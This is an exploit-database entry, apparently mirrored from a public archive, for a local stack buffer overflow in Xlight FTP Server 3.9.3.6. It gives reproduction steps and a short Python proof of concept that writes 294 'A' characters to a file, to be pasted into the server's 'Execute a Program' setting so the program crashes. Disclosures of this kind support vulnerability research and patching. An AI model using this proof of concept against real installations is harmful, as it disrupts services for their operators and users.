发布 2023-08-04 漏洞条目

Xlight FTP Server 3.9.3.6 – ‘Stack Buffer Overflow’ (DOS)

Exploit Source

# Exploit Title: Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS)

# Discovered by: Yehia Elghaly

# Discovered Date: 2023-08-04

# Vendor Homepage: https://www.xlightftpd.com/

# Software Link : https://www.xlightftpd.com/download/setup.exe

# Tested Version: 3.9.3.6

# Vulnerability Type: Buffer Overflow Local

# Tested on OS: Windows XP Professional SP3 - Windows 11 x64

# Description: Xlight FTP Server 3.9.3.6 'Execute Program' Buffer Overflow (PoC)

# Steps to reproduce:

# 1. - Download and Xlight FTP Server

# 2. - Run the python script and it will create exploit.txt file.

# 3. - Open Xlight FTP Server 3.9.3.6

# 4. - "File and Directory - Modify Virtual Server Configuration - Advanced - Misc- Setup

# 6. - Execute a Program after use logged in- Paste the characters

# 7 - Crashed

#!/usr/bin/env python3

exploit = 'A' * 294

try:

with open("exploit.txt","w") as file:

file.write(exploit)

print("POC is created")

except:

print("POC not created")

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